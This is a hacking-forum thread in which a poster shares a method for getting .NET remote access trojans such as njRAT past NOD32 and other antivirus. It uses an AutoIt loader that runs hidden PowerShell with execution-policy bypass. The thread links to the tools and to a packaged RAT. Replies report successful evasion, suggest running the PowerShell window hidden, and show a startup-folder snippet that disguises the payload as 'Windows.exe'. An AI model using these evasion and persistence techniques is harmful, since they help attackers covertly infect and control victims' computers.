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[TUT] Bypass NOD32 [.NET RATs]

Hello guys

So I started learning AutoIt native and I want to share this simple method to bypass some AV.
Scan = https://antiscan.me/scan/new/result?id=ZTvFo7sB3Pop 
I will ignore any "PlZ TeAcH mE H0W to refUd" & " i c&p bUt CAn'T BypAAS" posts..








Tools:
LimeBase64 Converter v0.1 -> https://hackforums.net/showthread.php?tid=6013132
XAMPP -> https://www.apachefriends.org/index.html
My njRAT -> http://www.mediafire.com/file/mdz2wdjvdr...T.zip/file [pass=nyan]
AutoIt Src = https://pastebin.com/gQyCekjM
You use the same OS and the same Wallpaper as me 🤝

Edit: Good job btw, i always wanted to learn AutoIt but i simply can't find the time.
[Image: QVTgPo7.gif]
Works great, thank you! :D

I'm going to try to add some codes to make it to create a copy in Temp/Appdata, and make it startup :D
That’s cool for the « POC » but in the reality it won’t bypass any AVs at runtime :/
Great work brother :) love it
Pretty cool like technique.
(Oct 6, 2019 04:26 PM)SIM-3132187 Wrote:  That’s cool for the « POC » but in the reality it won’t bypass any AVs at runtime :/

Have you seen video idiot ?


(Oct 6, 2019 09:32 AM)NYANxCAT Wrote:  Hello guys

So I started learning AutoIt native and I want to share this simple method to bypass some AV.
Scan = https://antiscan.me/scan/new/result?id=ZTvFo7sB3Pop 
I will ignore any "PlZ TeAcH mE H0W to refUd" & " i c&p bUt CAn'T BypAAS" posts..








Tools:
LimeBase64 Converter v0.1 -> https://hackforums.net/showthread.php?tid=6013132
XAMPP -> https://www.apachefriends.org/index.html
My njRAT -> njRAT v0.7d - NYANxCAT [pass=nyan]
AutoIt Src = https://pastebin.com/gQyCekjM

Awesome share again NyanCat !! BEST 🤗
(Oct 6, 2019 04:26 PM)SIM-3132187 Wrote:  That’s cool for the « POC » but in the reality it won’t bypass any AVs at runtime :/

I tried this with Windows defender, Nod32, Avira AND AVG, and it bypassed all of them....

So yeaaaaah.....You are wrong :/
(Oct 7, 2019 08:12 AM)M0HX Wrote:  btw nyan is the autoit built file runs the file on its own process or just executes ps command so its running in powershell.exe?

U can build the ps script into exe and it will run as its own process. But not sure how the runtime goes that way.

It runs in powershell.exe whenever we run the exe :)

How can we build the ps script into exe? Might be worth trying if AVs work they way around Powershell scripts :)
(Oct 7, 2019 08:12 AM)M0HX Wrote:  btw nyan is the autoit built file runs the file on its own process or just executes ps command so its running in powershell.exe?
the autoit script will execute ps command + passing the args and after that the autoit script will exit.

(Oct 7, 2019 08:12 AM)M0HX Wrote:  U can build the ps script into exe and it will run as its own process. But not sure how the runtime goes that way.
I don't think it's possible. Do you have links\references?
I don't know if this will help or anything, but in line 22 where the code is
PHP Code

<?php 
RunWait
("cmd /c start /min powershell -noexit -exec bypass -window 

You can replace /min to /B, if you do that the powershell prompt won't show (the one that is minimized), and you will launch it in the background like it's hidden :)

Just wanted to let you know :)
(Oct 7, 2019 09:06 AM)M0HX Wrote:  It is possible. I tried it myself.  ✌

I'll send you a PM shortly.


sent. let me know how it goes!

Thanks for the help 🤝


(Oct 7, 2019 10:38 AM)naxster Wrote:  I don't know if this will help or anything, but in line 22 where the code is
PHP Code

<?php 
RunWait
("cmd /c start /min powershell -noexit -exec bypass -window 

You can replace /min to /B, if you do that the powershell prompt won't show (the one that is minimized), and you will launch it in the background like it's hidden :)

Just wanted to let you know :)

Oh I didn't know about B argument! thanks brother 🤝
(Oct 7, 2019 11:01 AM)NYANxCAT Wrote:  Oh I didn't know about B argument! thanks brother  🤝

No problem, happy to help :)

By the way, i just saw that you edited the script and added
PHP Code

<?php 
If Not FileExists(@StartupDir & "/" & "Windows.exe") Then 

Does this means that startup works and it launches the .exe file everytime we boot the computer? :)

Should i write anything in between the "/"? :)
(Oct 7, 2019 12:40 PM)naxster Wrote:  No problem, happy to help :)

By the way, i just saw that you edited the script and added
PHP Code

<?php 
If Not FileExists(@StartupDir & "/" & "Windows.exe") Then 

Does this means that startup works and it launches the .exe file everytime we boot the computer? :)

Should i write anything in between the "/"? :)

yup it's a basic startup.
(Oct 6, 2019 09:32 AM)NYANxCAT Wrote:  Hello guys

So I started learning AutoIt native and I want to share this simple method to bypass some AV.
Scan = https://antiscan.me/scan/new/result?id=ZTvFo7sB3Pop 
I will ignore any "PlZ TeAcH mE H0W to refUd" & " i c&p bUt CAn'T BypAAS" posts..








Tools:
LimeBase64 Converter v0.1 -> https://hackforums.net/showthread.php?tid=6013132
XAMPP -> https://www.apachefriends.org/index.html
My njRAT -> njRAT v0.7d - NYANxCAT [pass=nyan]
AutoIt Src = https://pastebin.com/gQyCekjM

But you completely forgot to do a custom memory scan, which is crucial with ESET.


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